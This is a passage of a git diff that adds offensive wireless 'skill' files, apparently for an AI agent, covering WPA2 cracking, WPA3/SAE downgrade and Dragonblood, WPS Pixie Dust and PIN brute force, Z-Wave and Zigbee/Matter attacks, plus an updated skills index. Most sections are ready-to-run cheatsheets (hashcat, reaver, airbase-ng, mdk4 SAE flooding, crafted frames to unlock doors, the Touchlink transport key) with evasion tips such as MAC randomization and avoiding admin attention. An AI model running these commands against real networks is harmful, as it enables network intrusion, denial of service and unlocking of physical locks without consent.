ISP default — UPC, Vodafone, etc.)+hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d++# 8 digits (D-Link, ZTE)+hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d++# 8 hex (some Belkin / Linksys)+hashcat -m 22000 hash.hc22000 -a 3 ?h?h?h?h?h?h?h?h++# Phone number patterns+hashcat -m 22000 hash.hc22000 -a 3 1?d?d?d?d?d?d?d?d?d?d+```++### Vendor Default Generators++Some ISP routers derive the PSK from the SSID prefix + serial number suffix using known algorithms:++```bash+# UPC-XXXXXXX → upc_keys generates candidate keys+upc_keys ESSID | hashcat -m 22000 hash.hc22000 -++# Other generators: skylogin, BT-Hub-PSK-Generator, ZyxelKeygen+# Check vendor-specific tools per router brand+```++### 802.11r FT Cracking++If 802.11r (Fast Transition) is enabled, the AP-to-AP key transit is captureable on the wired side or visible in air during roaming events. The PMK derivation gives an alternative crack path with the same hc22000 format.++## Tuning Cracking Performance++```bash+# Show recommended workload tuning per GPU+hashcat -b -m 22000++# Distributed cracking via hashtopolis or naive split+hashcat -m 22000 hash.hc22000 wordlist.txt -s 0 -l 1000000+hashcat -m 22000 hash.hc22000 wordlist.txt -s 1000000 -l 1000000+```++## Opportunistic Key Cache (OKC)++When OKC is enabled (common in WPA2-Enterprise too), the AP caches the PMK from a previous successful association and reuses it on roam — bypassing the full handshake. From an attacker view, OKC handshakes have the same recoverable PMK material; the impact is mostly that you'll see fewer M1/M2 pairs in the air.++## Detection Considerations++| Signal | Defender View |+|---|---|+| Deauth burst | WIDS rule: >N deauth/sec with malformed reason codes |+| PMKID flood (hcxdumptool default sends many association requests) | WIDS rule: rapid associations from a single MAC |+| Monitor-mode interface | Some enterprise WIDS deployments fingerprint adjacent monitor radios |++To minimize: PMKID with `--filtermode=2` (only target your authorized list), single targeted deauth bursts, randomize source MAC between captures.++## Engagement Cheatsheet++```bash+# 1. Setup+sudo airmon-ng check kill && sudo airmon-ng start wlan0+sudo iw reg set US++# 2. PMKID sweep first+echo "AA:BB:CC:DD:EE:FF" > targets.txt+sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \+ --enable_status=1 --filterlist_ap=targets.txt --filtermode=2++# 3. Convert + try crack+hcxpcapngtool -o hash.hc22000 pmkid.pcapng+hashcat -m 22000 hash.hc22000 wordlist.txt -r best64.rule++# 4. If empty PMKID, do four-way capture+sudo airodump-ng -c <ch> --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon &+sudo aireplay-ng --deauth 3 -a AA:BB:CC:DD:EE:FF -c <client> wlan0mon++# 5. Convert + crack+hcxpcapngtool -o hash.hc22000 cap-01.cap+hashcat -m 22000 hash.hc22000 wordlist.txt -r OneRuleToRuleThemAll.rule++# 6. Mask attacks if dictionary fails+hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d+```++---++## Key References++- hashcat docs (mode 22000): hashcat.net/wiki/doku.php?id=cracking_wpawpa2+- hcxtools: github.com/ZerBea/hcxtools+- ZerBea PMKID research (original 2018 disclosure)+- 802.11i-2004 (WPA2 spec)+- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.mddiff --git a/Skills/wireless/offensive-wpa3-sae/SKILL.md b/Skills/wireless/offensive-wpa3-sae/SKILL.mdnew file mode 100644index 0000000..184b63b--- /dev/null+++ b/Skills/wireless/offensive-wpa3-sae/SKILL.md@@ -0,0 +1,159 @@+---+name: offensive-wpa3-sae+description: "WPA3 / SAE (Simultaneous Authentication of Equals) attack methodology — transition-mode (mixed WPA2/WPA3) downgrade, Dragonblood side-channel attacks (CVE-2019-9494, 9495, 13377, 13456), SAE auth flooding for AP CPU exhaustion, Hash-to-Element (H2E) timing analysis, group downgrade, and 6 GHz / Wi-Fi 6E spec implications (PMF mandatory, no transition mode allowed). Use when target advertises WPA3-SAE or WPA3-Personal/Enterprise, or operates in 6 GHz where WPA3 + PMF are required by spec."+---++# WPA3 / SAE Attacks++WPA3 fixes the offline-handshake-cracking weakness of WPA2 by replacing the 4-way PSK exchange with SAE (a Dragonfly-derived password-authenticated key exchange). The straightforward offline crack disappears — but transition-mode misconfigurations and the original SAE implementation's side-channel leaks open new paths.++## Quick Workflow++1. Verify the target advertises WPA3 (RSN IE shows AKM SAE = 8)+2. Check for transition-mode (mixed WPA2 + WPA3) — easiest path+3. If pure WPA3, fingerprint the AP's hostapd version for Dragonblood applicability+4. Side-channel timing or cache attacks if reachable+5. Otherwise, accept that offline cracking isn't viable — pivot to other surfaces++---++## Transition-Mode Downgrade++If the AP advertises both WPA2-PSK and WPA3-SAE (transition mode for mixed-client networks), older clients can be forced onto WPA2:++```bash+# Identify transition mode in beacon frames+sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>+# Encryption column shows WPA2 WPA3 (both)+```++Steps:++1. Spoof a beacon advertising **only RSN-WPA2** with the same BSSID/SSID+2. Client roams to your beacon, performs WPA2 4-way handshake+3. Capture handshake exactly like `offensive-wpa2-psk`++```bash+# Use hostapd-mana or airbase-ng for the WPA2-only AP advertisement+airbase-ng -e CorpWiFi -c 6 -W 1 wlan0mon+# -W 1 enables WPA, configure for WPA2-only RSN element+```++**Why this works:** WPA3-SAE clients fall back to WPA2-PSK if the AP only advertises WPA2 — there's no protected downgrade defense in transition mode. WPA3-only mode (no transition) blocks this.++**Mitigation defenders use:** WPA3-only networks (no WPA2). Wi-Fi 6E (6 GHz) mandates WPA3-only by spec.++## Dragonblood (CVE-2019-9494 / 9495 / 13377 / 13456)++Side-channel and downgrade attacks against the SAE Hunting-and-Pecking algorithm in pre-2.10 hostapd / wpa_supplicant.++### Cache-Based Side-Channel++The original SAE password-element derivation iterates a variable number of times depending on the password and MAC. Cache hits leak the iteration count.++```bash+git clone https://github.com/vanhoefm/dragonblood+cd dragonblood++# Cache-based attack (requires co-located malicious code on target host — limited)+python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon+```++### Timing Side-Channel++The same iteration count leaks via observable timing of the SAE commit phase from outside.++```bash+python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon --mode timing+```++### Downgrade to Weak Group++Some implementations accept SAE with the deprecated MODP group 5 if the client requests it. Combined with cache/timing side channels, this enables offline dictionary attack.++```bash+python3 dragondrain.py wlan0mon AA:BB:CC:DD:EE:FF+```++### Patched Versions++| Implementation | Fixed |+|---|---|+| hostapd / wpa_supplicant | 2.10 (April 2022) |+| Apple iOS / macOS | 2019 patches |+| Windows | KB-batched 2019-2020 |+| Embedded routers | Often unpatched — high hit rate on consumer SOHO |++## Hash-to-Element (H2E)++WPA3 R2 introduced H2E to replace the iteration-leaky Hunting-and-Pecking. H2E is constant-time. If the AP advertises H2E in the RSNXE element, Dragonblood-class attacks don't apply.++```bash+# Wireshark filter+wlan.rsnx.field.h2e+```++If H2E is present and required (no Hunting-and-Pecking fallback), only the spec is left to attack — abandon SAE attacks and pivot to other surfaces (PMF check, evil-twin via EAP if Enterprise, supply-chain via management frames).++## SAE Auth Flooding (DoS)++SAE's commit phase requires the AP to do heavy elliptic-curve work per association attempt. Floods can exhaust CPU on lower-end APs, denying service to legitimate clients.++```bash+sudo mdk4 wlan0mon a -a AA:BB:CC:DD:EE:FF -m -s 1024+# Auth attack mode -a, multiple per second -s 1024+```++**This is a DoS — only with explicit authorization.** Modern enterprise APs use anti-clogging tokens to throttle SAE-flood attacks; consumer routers often don't.++## 6 GHz / Wi-Fi 6E Implications++The 6 GHz band (Wi-Fi 6E, channels 1–233 in the 5925–7125 MHz range) requires:++- **WPA3-only** (no transition mode)+- **PMF (802.11w) mandatory** (deauth/disassoc protected)+- **OWE (Opportunistic Wireless Encryption)** for open networks++Net effect: most pre-WPA3 attacks (deauth, transition-mode downgrade) don't apply on 6 GHz. Pure SAE side-channel, evil-twin, or out-of-band attacks remain viable.++## Detection Considerations++WPA3 is enterprise-defended much like WPA2 — WIDS catches:++- Beacon spoofing (transition-mode downgrade) via fingerprint mismatch (IE order, vendor-specific, beacon timing)+- SAE flood via association rate per source MAC+- Repeated SAE commit failures (timing attack telemetry)++Successful Dragonblood-class attacks against patched modern hostapd are unlikely. Consumer SOHO and embedded APs are still in scope.++## Engagement Cheatsheet++```bash+# 1. Identify mode+sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>+# Encryption: WPA2 + WPA3 → transition; WPA3-only → SAE-only++# 2. Transition-mode downgrade attempt+sudo airbase-ng -e <ESSID> -c <ch> -W 1 -z 4 wlan0mon # WPA2-RSN advertised only++# 3. Wait for client roam, capture WPA2 handshake (handoff to offensive-wpa2-psk)++# 4. If pure WPA3, fingerprint hostapd+# (passive analysis of beacon IE order + version-specific behaviors)++# 5. Run Dragonblood test scripts if pre-2.10 hostapd suspected+python3 dragondrain.py wlan0mon <BSSID>+python3 dragontime.py --bssid <BSSID> --iface wlan0mon++# 6. Document residual viable attacks; pivot to evil-twin / EAP / RF if pure WPA3 R2+```++---++## Key References++- Dragonblood: dragonblood.net (Vanhoef + Ronen)+- IEEE 802.11-2020 (combined spec including WPA3)+- WFA WPA3 Specification+- hostapd 2.10 release notes+- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.mddiff --git a/Skills/wireless/offensive-wps/SKILL.md b/Skills/wireless/offensive-wps/SKILL.mdnew file mode 100644index 0000000..462daf3--- /dev/null+++ b/Skills/wireless/offensive-wps/SKILL.md@@ -0,0 +1,166 @@+---+name: offensive-wps+description: "WPS (Wi-Fi Protected Setup) PIN attack methodology — Pixie Dust offline attack against vulnerable chipsets (Ralink, Realtek, Broadcom, MediaTek), online PIN brute-force with reaver/bully, lockout handling, time-of-day evasion, WPS push-button vulnerability windows, and PIN-to-PSK derivation. Use when a target SOHO router exposes WPS — common on consumer ISP gear, often left enabled by default even when WPS attacks have been known for over a decade."+---++# WPS PIN Attacks++WPS converts an 8-digit PIN into the network PSK via the M3/M4 message exchange. The PIN is split into 4-digit + 3-digit halves (the 8th digit is a checksum), giving only 11,000 effective combinations — and on vulnerable chipsets, the offline Pixie Dust attack recovers the PIN in seconds without ever sending an online attempt.++## Quick Workflow++1. Detect WPS-enabled APs (look for the WPS IE in beacons)+2. Try Pixie Dust first — offline, undetectable, instantaneous when it works+3. If chipset isn't vulnerable, check whether online brute is feasible (lockout policy)+4. Online brute as last resort, slow and detectable++---++## Detection++```bash+# wash — dedicated WPS scanner+sudo wash -i wlan0mon++# Or use airodump-ng with WPS column+sudo airodump-ng wlan0mon --wps+```++Output includes: WPS version (1.0 / 2.0), Locked status, Configured/Unconfigured, vendor.++WPS 2.0 introduced lockout enforcement, but many consumer APs still implement it as "lock for 60 seconds after 3 failures" — easily bypassed by waiting.++## Pixie Dust (Offline)++The Pixie Dust attack exploits weak nonce generation in WPS-implementing chipsets. The attack captures one full WPS handshake (M1-M4) and then offline-computes the PIN.++```bash+# reaver with Pixie Dust mode+sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -vvv++# bully alternative+sudo bully -b AA:BB:CC:DD:EE:FF -d -v 3 wlan0mon+```++| Chipset | Vulnerable? |+|---|---|+| Ralink (RT chipsets) | Yes — most older D-Link, TP-Link, Edimax |+| Realtek (RTL8xxx) | Yes — many TRENDnet, Belkin |+| Broadcom (older firmware) | Often yes — specific model + firmware revs |+| MediaTek (specific revs) | Mixed |+| Atheros | Mostly patched |++When successful:++```+[Pixie-Dust] WPS PIN: 12345670+[Pixie-Dust] WPA PSK: ActualPasswordHere+[Pixie-Dust] AP SSID: HomeWiFi+```++The PIN gives you the PSK directly via the M7 message — no PSK cracking needed.++## Online PIN Brute-Force++When Pixie Dust fails, online brute is the fallback. Send EAPOL-Start → M1 → M2 → M3 attempts with successive PINs.++```bash+# reaver online mode (default)+sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF \+ -L -N -d 15 -t 30 -T .5 -r 3:30 -vv++# Flags:+# -L : ignore failed lockouts+# -N : don't send NACK packets+# -d 15 : 15-second delay between attempts+# -t 30 : timeout+# -T .5 : timeout for receiving M5/M7+# -r 3:30 : pause 30s every 3 attempts+```++### Lockout Handling++Most modern APs lock WPS after a few failed PINs. Detect lockout:++- AP stops responding to EAPOL-Start+- WPS `Locked` flag in beacon switches to `Yes`++Strategies:+- **Wait it out**: many APs auto-unlock after 60–600 seconds. Set `-r` accordingly.+- **Reboot the AP**: physically resets state. Only works if you have authorization for that disruption.+- **Spread attempts across time of day**: low-traffic windows to avoid coincident legitimate WPS use that triggers admin attention.++### Time Estimate++- 11,000 attempts × (delay + timeout) ≈ best case 4 hours, realistic 12–24 hours+- Lockout multiplier: 5–20x depending on policy+- **Pixie Dust beats this by minutes when vulnerable.** Always try first.++## Push-Button (PBC) Method++WPS PBC opens a 120-second window after the user presses the button on the AP. During this window any client requesting WPS is paired without PIN.++Attack viability:+- Practically: requires either physical access to push the button (= you've already won) or social engineering ("the IT guy will press the button at 14:00")+- Some buggy APs have a permanent PBC window — test by sending PBC association++```bash+# Trigger PBC pairing attempt+sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -p '00000000' -P+```++## PIN-Default Patterns++Some vendors derive the WPS PIN from MAC + serial. With known algorithms:++```bash+# wpscalc / WPSPIN — calculate likely PINs from BSSID+wpspin --bssid AA:BB:CC:DD:EE:FF+# Outputs candidate PINs to try first before brute+```++Hit rate is high on certain Belkin, ZyXEL, and Linksys models.++## Detection Considerations++| Signal | Defender View |+|---|---|+| Reaver/bully traffic pattern | WIPS rule: rapid WPS exchange attempts |+| PIN failures spike | WPS `Locked` flag flip |+| Vendor PSK leaked offline | Undetectable — Pixie Dust is offline |+| Consumer admin interface | "WPS attempt" might log if AP has audit features (rare) |++Pixie Dust against a vulnerable chipset is essentially undetectable from the wire perspective — only one WPS exchange happens, identical to a legitimate client.++## Engagement Cheatsheet++```bash+# 1. Setup+sudo airmon-ng check kill && sudo airmon-ng start wlan0++# 2. Find WPS APs+sudo wash -i wlan0mon++# 3. Pixie Dust first+sudo reaver -i wlan0mon -b <BSSID> -K 1 -vvv++# 4. If Pixie Dust fails, try vendor-specific PIN candidates+wpspin --bssid <BSSID> | head -10++# 5. Online brute as last resort+sudo reaver -i wlan0mon -b <BSSID> -L -N -d 15 -t 30 -r 3:30 -vv++# 6. Once PIN known, derive PSK from M7 message+# (reaver does this automatically; bully prints PSK on success)+```++---++## Key References++- pixiewps: github.com/wiire-a/pixiewps+- reaver: github.com/t6x/reaver-wps-fork-t6x+- bully: github.com/aanarchyy/bully+- WPS 2.0 spec (Wi-Fi Alliance)+- "Pixie Dust Attack" (Bongard, 2014) — original disclosure+- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.mddiff --git a/Skills/wireless/offensive-z-wave/SKILL.md b/Skills/wireless/offensive-z-wave/SKILL.mdnew file mode 100644index 0000000..b262b9a--- /dev/null+++ b/Skills/wireless/offensive-z-wave/SKILL.md@@ -0,0 +1,146 @@+---+name: offensive-z-wave+description: "Z-Wave attack methodology — sniffing with Z-Force / EZ-Wave / RTL-SDR + ZniffMobile, S0 (legacy) network-key derivation flaw and key reuse, S2 (modern) ECDH commissioning analysis, replay/injection on unauthenticated nodes, default-key brute-force on test deployments, and home-automation hub pivots. Use when targeting Z-Wave smart home devices (door locks, sensors, garage controllers) — common in mid-2010s smart home deployments still in production."+---++# Z-Wave Attacks++Z-Wave runs in the 800/900 MHz ISM band (US: 908 MHz, EU: 868 MHz). Older networks used the S0 security scheme with a fixed-derivation network key — long-known to be flawed. S2 (mandatory for Z-Wave Plus v2 since 2017) uses ECDH commissioning and is significantly stronger.++## Quick Workflow++1. Identify region (US 908 MHz / EU 868 MHz) — adapter frequency must match+2. Sniff inclusion (commissioning) traffic — that's where keys are exchanged+3. Determine S0 vs S2 from frame format+4. For S0: derive/replay; for S2: analyze ECDH and look for implementation flaws++---++## Hardware++| Adapter | Use |+|---|---|+| Z-Force (legacy, hard to find) | Original research tool |+| EZ-Wave (custom HackRF firmware) | Modern, full transceiver |+| Aeotec Z-Stick | Commercial controller, useful as legitimate node |+| HackRF + open Z-Wave firmware | Multi-band SDR approach |+| RTL-SDR + ZniffMobile (passive only) | Cheap sniffer |++## Sniffing++```bash+# EZ-Wave (HackRF firmware-based)+git clone https://github.com/cureHsu/EZ-Wave+ezwave-sniff -f 908.4MHz -o capture.pcap++# Wireshark with the Z-Wave dissector parses captured frames+wireshark capture.pcap+```++Look for the inclusion phase (controller adding new device) — that's where the network key is exchanged.++## S0 Security Flaw++S0 derives the network key from a fixed all-zero PSK during the inclusion of the first device. That fixed material is well-known — any S0 network you sniff during inclusion can be decrypted offline.++```+S0 commissioning:+ 1. New node joins → controller sends key with zero-PSK encryption+ 2. Attacker sniffs commissioning frame → derives session key+ 3. All future S0 traffic on that network is decryptable+```++If you can:+- Trigger inclusion (factory-reset a node, or wait for legitimate inclusion)+- Sniff during the ~2-second key-exchange window++You own the network key for that mesh.++## S2 (Z-Wave Plus / S2 Authenticated)++S2 fixes S0 by using ECDH for commissioning:+- Each device has a Curve25519 keypair+- Inclusion uses DSK (Device Specific Key) verified out-of-band (sticker/QR)+- Network key never traverses the air in plaintext++S2 attack surface is mostly implementation:+- Inclusion-mode-always-open (controller misconfig)+- Firmware bugs in S2 verification+- Side-channel on ECDH on resource-constrained chips+- DSK printed on a sticker → physical access yields it++## Replay / Injection on Unauthenticated Nodes++Many low-end Z-Wave devices (older sensors, basic switches) don't enforce S0 or S2 — they accept commands in cleartext.++```python+# scapy-zwave (community fork) for crafted frames+from scapy.contrib.zwave import *+frame = ZWave(home_id=0x12345678)/ZWaveBasic(set_value=0xff)+sendp(frame, iface='ezwave0')+```++This unlocks doors / switches lights / unarms sensors when the target lacks authentication.++## Key Brute-Force++For old test deployments using default home IDs / network keys:++```bash+# Try default home IDs+for hid in 0x00000000 0x12345678 ...; do+ ezwave-test --home-id $hid --target-node 1+done+```++Hit rate on production is low; useful only for default-config IoT lab gear.++## Hub Pivots++Z-Wave devices are typically controlled by a hub (SmartThings, Hubitat, Vera, Home Assistant, Z-Wave JS UI). The hub is a Linux device with the Z-Wave PSK in plaintext storage:++- SmartThings Hub: previously cloud-only credentials; modern v3 stores network key locally+- Home Assistant: `~/.homeassistant/zwave_js.json` typically contains keys+- Hubitat: web UI with default password on older versions++Compromise the hub → walk away with the Z-Wave PSK + every paired device's command authority. See `offensive-iot` for hub firmware extraction.++## Engagement Cheatsheet++```bash+# 1. Identify region + frequency+# US: 908.4 MHz; EU: 868.4 MHz; CN: 868.4 MHz++# 2. Sniff+ezwave-sniff -f 908.4MHz -o cap.pcap+wireshark cap.pcap # filter zwave++# 3. Identify S0 vs S2 from frame format++# 4. For S0: capture inclusion → derive key → decrypt history + control devices++# 5. For S2: focus on hub compromise / DSK theft / implementation bugs++# 6. Test unauthenticated cleartext devices with crafted frames+```++## Detection++- Most Z-Wave deployments have no IDS comparable to Wi-Fi/Zigbee monitoring+- Hub may log unexpected commands but UI rarely surfaces these to users+- Inclusion-mode-open is visible in hub UI but ignored by inattentive admins++## Reporting++- Identify chipset / firmware revision per device (ZW0500 series, ZW7000 series)+- Map S0 vs S2 per node — note any S0 left on a network with S2-capable nodes+- Document hub compromise paths separately++---++## Key References++- EZ-Wave: github.com/cureHsu/EZ-Wave (HackRF-based)+- "Z-Force and the Z-Wave Sniffer" — original research+- Silicon Labs Z-Wave 700-series spec+- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.mddiff --git a/Skills/wireless/offensive-zigbee-thread-matter/SKILL.md b/Skills/wireless/offensive-zigbee-thread-matter/SKILL.mdnew file mode 100644index 0000000..20ebba3--- /dev/null+++ b/Skills/wireless/offensive-zigbee-thread-matter/SKILL.md@@ -0,0 +1,160 @@+---+name: offensive-zigbee-thread-matter+description: "Zigbee, Thread, and Matter mesh-protocol attack methodology — IEEE 802.15.4 sniffing with TI CC2531 / CC2540 / Sonoff Zigbee Dongle E, KillerBee toolkit, Touchlink commissioning abuse with the well-known transport key, replay/injection attacks, Zigbee Cluster Library command abuse for door locks and bulbs, Thread network credential theft, Matter commissioning chain analysis, and 6LoWPAN/IPv6 routing exploitation. Use when targeting smart-home or commercial mesh deployments, Zigbee-based door locks, lighting, or sensor networks."+---++# Zigbee / Thread / Matter Attacks++802.15.4-based mesh protocols underpin most "smart home" devices. Zigbee is widely deployed and has well-known crypto-key-reuse issues; Thread (modern, IPv6-based) ships with stronger defaults; Matter unifies their commissioning model with stronger crypto but still has implementation pitfalls.++## Quick Workflow++1. Sniff target frequency (channels 11–26 in 2.4 GHz)+2. Identify network coordinator and joining devices+3. For Zigbee: try Touchlink commissioning with the well-known key+4. Capture join-key exchange when devices commission+5. Replay or inject ZCL/ZHA cluster commands++---++## Hardware++| Adapter | Use |+|---|---|+| TI CC2531 USB stick | Cheap, works with Zigbee2MQTT, KillerBee |+| TI CC2540 / CC2652 | Zigbee + Thread + BLE |+| Sonoff Zigbee Dongle E (CC2652P) | Modern, well-supported |+| ApiMote (KillerBee dev) | Multi-channel, scapy-dot15d4 |+| HackRF + appropriate firmware | Lower-level RF flexibility |++## Discovery + Sniffing++```bash+# KillerBee suite+zbstumbler -i 0 # find Zigbee networks+zbid # ID coordinators+zbdump -c 11 -w zigbee.pcap # dump channel 11 to pcap++# scapy-dot15d4 for crafted frames+python3+>>> from scapy.contrib.dot15d4 import *+>>> sniff(iface='/dev/ttyACM0', count=50)+```++In Wireshark with the dot15d4 + zbee_nwk dissectors, you'll see frame counters, network keys (if joined), and ZCL commands.++## Touchlink Commissioning Abuse++Touchlink (used by Zigbee 3.0 commissioning, especially in lighting) uses a **well-known transport key**:++```+0x9F559A553B7A6B2C5C4FBB4E84956F3D+```++Many consumer Zigbee bulbs / strips accept Touchlink commissioning from any nearby radio with this key — joining them to your network or stealing them from theirs.++```bash+# z3sec — Zigbee 3 commissioning attack toolkit+git clone https://github.com/IoTsec/Z3sec+python z3sec_inter_pan.py --command "factory_reset_request" --device <addr>+python z3sec_inter_pan.py --command "join_network" --network <PANID>+```++Outcomes:+- Factory-reset victim devices remotely (DoS / mass disrupt)+- Steal lights / sensors into attacker network+- Read network keys after joining device-to-network++## Network Key Capture During Joins++```bash+# Capture coordinator + joining device exchange+zbdump -c <ch> -w join.pcap++# Decrypt if you obtain the trust center link key+# Older Zigbee 1.x networks used a default trust center link key:+# ZigBeeAlliance09+# Modern networks use device-specific install codes+```++Once you have the network key, all traffic on that mesh is decrypted in Wireshark.++## ZCL / ZHA Cluster Command Abuse++Zigbee Cluster Library defines on/off/level/lock clusters. With network key, you can issue commands as any device:++```python+# scapy-dot15d4 frame to unlock a door lock+from scapy.contrib.dot15d4 import *+from scapy.contrib.zigbee import *++frame = Dot15d4FCS()/Dot15d4Data()/ZigbeeNWK(...)/ZigbeeAppDataPayload(...)/ZCLDoorLock(...)+sendp(frame, iface='/dev/ttyACM0')+```++The same primitive opens locks, toggles switches, dims lights, or floods the network with control traffic.++## Thread Specifics++Thread (used by Apple HomePod, Nest, Eero) uses 802.15.4 with IPv6 (6LoWPAN) and stronger commissioning crypto.++- Network credential is a **commissioner-distributed PSKc**+- Devices join with the commissioner present+- Mesh commissioning protocol is over UDP/CoAP++Attack surface:+- PSKc theft from commissioner devices (mobile app companion, Apple Home, Nest app)+- Reusing a leaked credential to join target network+- 6LoWPAN routing attacks (rank manipulation, sinkhole)++## Matter Commissioning++Matter unifies Zigbee/Thread/Wi-Fi device onboarding under one commissioning model:++- QR code or manual setup code grants commissioning permission+- Bluetooth LE used for initial commissioning+- Subsequent communication over Wi-Fi or Thread++Attack surface:+- Setup-code reuse / replay if commissioning window not closed+- BLE-MITM during initial commissioning (see `offensive-bluetooth-ble`)+- Fabric-attestation flaws in early implementations++## Detection++- Coordinator may log unexpected device joins+- Hub apps surface "new device" notifications — commonly ignored by users+- Wireshark/Sonoff captures from defenders are rare — most environments don't monitor 802.15.4++## Engagement Cheatsheet++```bash+# 1. Identify networks + channels+zbstumbler -i 0++# 2. Sniff target channel+zbdump -c <ch> -w cap.pcap+# Open in Wireshark with dot15d4/zigbee dissectors++# 3. Touchlink attack on consumer Zigbee 3.0 lighting+python z3sec_inter_pan.py --command "factory_reset_request" --target <addr>++# 4. Steal device into attacker network+python z3sec_inter_pan.py --command "join_network" --target <addr>++# 5. With network key, issue ZCL commands directly+# (custom scapy-dot15d4 + zbee_nwk frames)++# 6. For Thread: focus on commissioner / PSKc theft from companion apps+```++---++## Key References++- KillerBee: github.com/riverloopsec/killerbee+- Z3sec: github.com/IoTsec/Z3sec+- "Zigbee Insecurity" research (CON Black Hat talks)+- Thread spec: threadgroup.org/support+- Matter / CSA spec: csa-iot.org/all-solutions/matter+- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.mddiff --git a/claude-skills.json b/claude-skills.jsonindex 112e1e9..bd7944f 100644--- a/claude-skills.json+++ b/claude-skills.json@@ -73,7 +73,20 @@"offensive-xxe"],"wireless": [- "offensive-wifi"+ "offensive-bluetooth-ble",+ "offensive-bluetooth-classic",+ "offensive-deauth-disassoc",+ "offensive-evil-twin",+ "offensive-krack-fragattacks",+ "offensive-lorawan-sub-ghz",+ "offensive-wifi",+ "offensive-wifi-recon",+ "offensive-wpa-enterprise",+ "offensive-wpa2-psk",+ "offensive-wpa3-sae",+ "offensive-wps",+ "offensive-z-wave",+ "offensive-zigbee-thread-matter"]},"skills": [@@ -341,13 +354,91 @@"path": "Skills/web/offensive-xxe/SKILL.md","description": ""},+ {+ "name": "offensive-bluetooth-ble",+ "category": "wireless",+ "path": "Skills/wireless/offensive-bluetooth-ble/SKILL.md",+ "description": "Bluetooth Low Energy (BLE) attack methodology — GATT enumeration, characteristic read/write without auth, pairing downgrade (Just Works forced), LE Secure Connections bypass, MITM via active relay, sniffing with Sniffle (TI CC1352) / Ubertooth / Frontline, encryption key extraction (LE Legacy Pairing crackable, LE Secure Connections strong), proximity authentication abuse (cars, locks), and companion-app trust analysis. Use for IoT BLE devices, smart locks, fitness trackers, medical devices, BLE beacons, or any device pairing over BLE."+ },+ {+ "name": "offensive-bluetooth-classic",+ "category": "wireless",+ "path": "Skills/wireless/offensive-bluetooth-classic/SKILL.md",+ "description": "Bluetooth Classic (BR/EDR) attack methodology — device discovery, service enumeration via SDP, LMP/L2CAP layer attacks, legacy PIN cracking (BlueBorne / KNOB), Bluetooth file-transfer abuse (BlueSnarfing legacy), unauthenticated profile abuse (HSP, HFP, OPP), and modern relevance against older industrial / automotive / accessory targets. Use when in-scope devices use Bluetooth Classic (Bluetooth ≤ 4.0 BR/EDR) — common in legacy car kits, industrial sensors, older medical devices, and audio accessories."+ },+ {+ "name": "offensive-deauth-disassoc",+ "category": "wireless",+ "path": "Skills/wireless/offensive-deauth-disassoc/SKILL.md",+ "description": "Deauthentication and disassociation attacks against 802.11 networks — targeted single-client deauth for handshake capture, broadcast deauth for DoS (with authorization), action-frame attacks bypassing 802.11w (PMF), beacon flooding, mdk4 / aireplay-ng tooling, and rate-limit / PMF-aware operation. Use to coerce client reconnection (handshake capture, evil-twin roaming), as targeted DoS, or to test PMF posture."+ },+ {+ "name": "offensive-evil-twin",+ "category": "wireless",+ "path": "Skills/wireless/offensive-evil-twin/SKILL.md",+ "description": "Evil Twin / KARMA / Mana access point methodology — rogue AP construction with hostapd-mana / wifiphisher / airgeddon, KARMA universal probe response, Mana selective probe response, captive portal phishing, deauth-driven client coercion to attacker AP, MAC randomization defeat via PNL leak analysis, post-association MITM (DNS, ARP, transparent proxy), credential capture for portal/web/SMB, and detection-evasion tactics. Use to coerce client devices onto an attacker-controlled AP, intercept their traffic, harvest credentials, or deliver payloads via captive portal."+ },+ {+ "name": "offensive-krack-fragattacks",+ "category": "wireless",+ "path": "Skills/wireless/offensive-krack-fragattacks/SKILL.md",+ "description": "KRACK (CVE-2017-13077..082) and FragAttacks (CVE-2020-24586..588 + 26139-26147) — key reinstallation, fragmentation, and aggregation attacks against WPA2 supplicants. Covers Vanhoef's test scripts, viability against modern patched stacks (mostly mitigated post-2021), residual unpatched embedded devices and IoT vendors, and the practical limitations of these attacks in modern engagements. Use when assessing legacy supplicants, embedded clients, or vendors with poor patch cadence."+ },+ {+ "name": "offensive-lorawan-sub-ghz",+ "category": "wireless",+ "path": "Skills/wireless/offensive-lorawan-sub-ghz/SKILL.md",+ "description": "LoRaWAN and sub-GHz (433 / 868 / 915 MHz) attack methodology — LoRaWAN ABP/OTAA join attack, network/session key reuse, frame counter replay, downlink injection on TTN/Helium-style networks, sub-GHz protocol replay (KeeLoq garage doors, fixed-code remotes, TPMS spoofing, smart plug telemetry), HackRF / RTL-SDR / Flipper Zero workflows, signal analysis with Inspectrum / Universal Radio Hacker, and reconstruction of proprietary packet formats. Use for LoRaWAN deployments (smart cities, asset tracking, industrial telemetry), or any wireless device using the unlicensed 433/868/915 MHz bands (garage openers, doorbells, IoT sensors, RC equipment)."+ },{"name": "offensive-wifi","category": "wireless","path": "Skills/wireless/offensive-wifi/SKILL.md","description": "Wireless / 802.11 attack methodology for red team engagements and wireless security assessments. Covers monitor-mode setup, WPA/WPA2-PSK handshake capture and PMKID attacks, WPA3 SAE downgrade and Dragonblood, WPA-Enterprise (EAP) attacks (MSCHAPv2 cracking, EAP-TLS cert theft, evil-twin RADIUS), Karma / Known Beacons / Mana evil twin attacks, captive-portal phishing, KRACK and FragAttacks, WPS Pixie Dust, deauthentication and disassociation attacks, rogue AP construction (hostapd-mana), 802.1X bypass, MAC randomization defeat, BLE/Zigbee/IEEE 802.15.4 sidebands, and Wi-Fi 6/6E/7 considerations. Use when scoping wireless pentest, war-driving an estate, or testing corporate wireless segmentation."+ },+ {+ "name": "offensive-wifi-recon",+ "category": 